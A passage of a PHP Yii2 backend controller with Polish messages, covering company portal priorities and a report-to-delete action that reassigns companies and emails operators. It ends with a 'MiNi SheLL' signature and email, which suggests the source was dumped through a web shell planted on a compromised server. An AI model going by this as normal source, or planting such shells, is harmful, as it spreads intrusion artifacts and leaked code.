                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($collisionOperatorsEmails)
                            ->setSubject($subjectForCollisionOperators)
                            ->send();
            }
        }
        
        if($flag) {
            $transaction->commit();
//            $transaction->rollBack();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
        }
        
        return $this->redirect(['companies/similar']);
    }

    public function actionPortalsPriorities($id)
    {
        $modelCompany = $this->findModelCompany($id);
        if (!\Yii::$app->user->can('viewCompaniesData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'portals-priorities-companies';
        
        $modelForm = new \backend\models\PortalsPrioritiesForm();
        $modelForm->loadData($modelCompany);
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'modelForm' => $modelForm
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['portals']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            if(!\Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany]) && !\Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $modelCompany])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('portals_priorities', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('portals_priorities', $outputParams);
            }
            
            if ($modelForm->save()) {
                \common\models\Emails::refreshForCompany($modelCompany);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                return $this->redirect(['portals-priorities', 'id' => $modelCompany->id_company]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('portals_priorities', $outputParams);
    }
    
//    public function actionReportToDelete($id)
//    {
//        if (!\Yii::$app->user->can('reportCompanyToDelete')) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
//        
//        $modelCompany = $this->findModelCompany($id);
//        
//        $modelOperator = Yii::$app->user->identity;
//        
//        $mailer = Yii::$app->mailer;
//        $mailer->htmlLayout = 'layouts/main-html';      
//        $mailer->textLayout = 'layouts/main-text'; 
//        $viewFiles = [
//            'html' => 'operator_request_delete_company_html',
//            'text' => 'operator_request_delete_company_text'
//        ];
//        
//        $viewParams = [
//            'modelCompany' => $modelCompany,
//            'modelLoggedOperator' => $modelOperator,
//            'modelsRelationsWithOperators' => $modelCompany->getRelationsWithOperators()->with(['operator'])->all(),
//            'orExistActivePresentations' => $modelCompany->getPresentations()->where(['status' => Status::ACTIVE])->exists(),
//            'orExistPaidInvoices' => $modelCompany->getInvoices()->where(['status' => InvoiceStatus::PAID])->exists(),
//        ];
//        $subject = Yii::t('common-mails', 'Zgłoszono firmę do usunięcia: {companyName} | {operatorName}', ['operatorName' => $modelOperator->forename.' '.$modelOperator->surname, 'companyName' => $modelCompany->name]);
//
//        $operatorEmail = $modelOperator->getContactData()
//            ->select(['users_contact_data.data_value'])
//            ->where([
//                'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
//                'users_contact_data.required' => 1
//            ])->scalar();
//
//        $lukaszEmail = \common\models\Users::find()
//            ->select(['users_contact_data.data_value'])
//            ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
//            ->where([
//                'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
//                'users_contact_data.required' => 1,
//                'users.login' => 'vm_lukasz'
//            ])
//            ->scalar();
//        
//        $flag = true;
//        
//        if(!empty($operatorEmail)) {
//            //wysyłamy email z prośbą o usunięcie firmy do operatora zgłaszającego (###MAIL_69###) 
//            $flag = $flag && $mailer->compose($viewFiles, $viewParams)
//                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
//                            ->setTo($operatorEmail)
//                            ->setSubject($subject)
//                            ->send();
//        }
//
//        if(!empty($lukaszEmail)) {
//            //wysyłamy email z prośbą o usunięcie firmy do Łukasza (###MAIL_69###) 
//            $flag = $flag && $mailer->compose($viewFiles, $viewParams)
//                        ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
//                        ->setTo($lukaszEmail)
//                        ->setReplyTo([$operatorEmail => $modelOperator->forename.' '.$modelOperator->surname])
//                        ->setSubject($subject)
//                        ->send();
//        }     
//        
//        if($flag) {
//            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie wykonano zadanie.'));             
//        } else {
//            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));
//        }
//        
//        return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['companies/similar']);
//    }
    
    public function actionReportToDelete($id)
    {       
        if (!\Yii::$app->user->can('reportCompanyToDelete')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelCompany = Companies::find()
                ->with([
                    'presentations' => function($q) {
                        $q->andWhere(['status' => Status::ACTIVE]);
                    },
                    'presentations.portal'
                ])
                ->where(['id_company' => $id])
                ->one();
        
        if ($modelCompany === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelForm = new SendRequestToDeleteCompanyForm(['id_company' => $modelCompany->id_company]);
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'modelForm' => $modelForm,
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_company', 'id_task']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('report_to_delete', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('report_to_delete', $outputParams);
            }
            
            $modelOperator = Yii::$app->user->identity;

            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text'; 
            $viewFiles = [
                'html' => 'operator_request_delete_company_html',
                'text' => 'operator_request_delete_company_text'
            ];

            $viewParams = [
                'modelCompany' => $modelCompany,
                'modelLoggedOperator' => $modelOperator,
                'modelsRelationsWithOperators' => $modelCompany->getRelationsWithOperators()->with(['operator'])->all(),
                'orExistActivePresentations' => !empty($modelCompany->presentations),
                'orExistPaidInvoices' => $modelCompany->getInvoices()->where(['status' => InvoiceStatus::PAID])->exists(),
                'annotations' => $modelForm->annotations
            ];
            $subject = Yii::t('common-mails', 'Zgłoszono firmę do usunięcia: {companyName} | {operatorName}', ['operatorName' => $modelOperator->forename.' '.$modelOperator->surname, 'companyName' => $modelCompany->name]);

            $operatorEmail = $modelOperator->getContactData()
                ->select(['users_contact_data.data_value'])
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1
                ])->scalar();
            
            $systemEmails = !empty(Yii::$app->params['emailAddresses']['forRequestToDeleteCompany']) ? Yii::$app->params['emailAddresses']['forRequestToDeleteCompany'] : null;

            $flag = true;
            
            $modelUserVmDoUsuniecia = \common\models\Users::find()->where(['login' => 'vm_do_usuniecia'])->one();
            if(!$modelUserVmDoUsuniecia) {
                $flag = false;
            }
            
            if($flag) {
                $transaction = Yii::$app->db->beginTransaction();
                \common\models\OperatorsHasCompanies::deleteAll(['id_company' => $modelCompany->id_company]);
                $newModel = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
                $newModel->id_company = $modelCompany->id_company;
                $newModel->id_user = $modelUserVmDoUsuniecia->id_user; 
                if(!$newModel->save()) {
                    $flag = false;
                    $transaction->rollBack();
                }
            }

            if(!empty($operatorEmail)) {
                //wysyłamy email z prośbą o usunięcie firmy do operatora zgłaszającego (###MAIL_69###) 
                $flag = $flag && $mailer->compose($viewFiles, $viewParams)
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setTo($operatorEmail)
                                ->setSubject($subject)
                                ->send();
            }

            if(!empty($systemEmails)) {
                //wysyłamy email z prośbą o usunięcie firmy do Łukasza (###MAIL_69###) 
                $flag = $flag && $mailer->compose($viewFiles, $viewParams)
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($systemEmails)
                            ->setReplyTo([$operatorEmail => $modelOperator->forename.' '.$modelOperator->surname])
                            ->setSubject($subject)
                            ->send();
            }     
            
            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
                $transaction->commit();
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.')); 
                $transaction->rollBack();
            }
        }
       
        return $this->conditionalRender('report_to_delete', $outputParams);
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com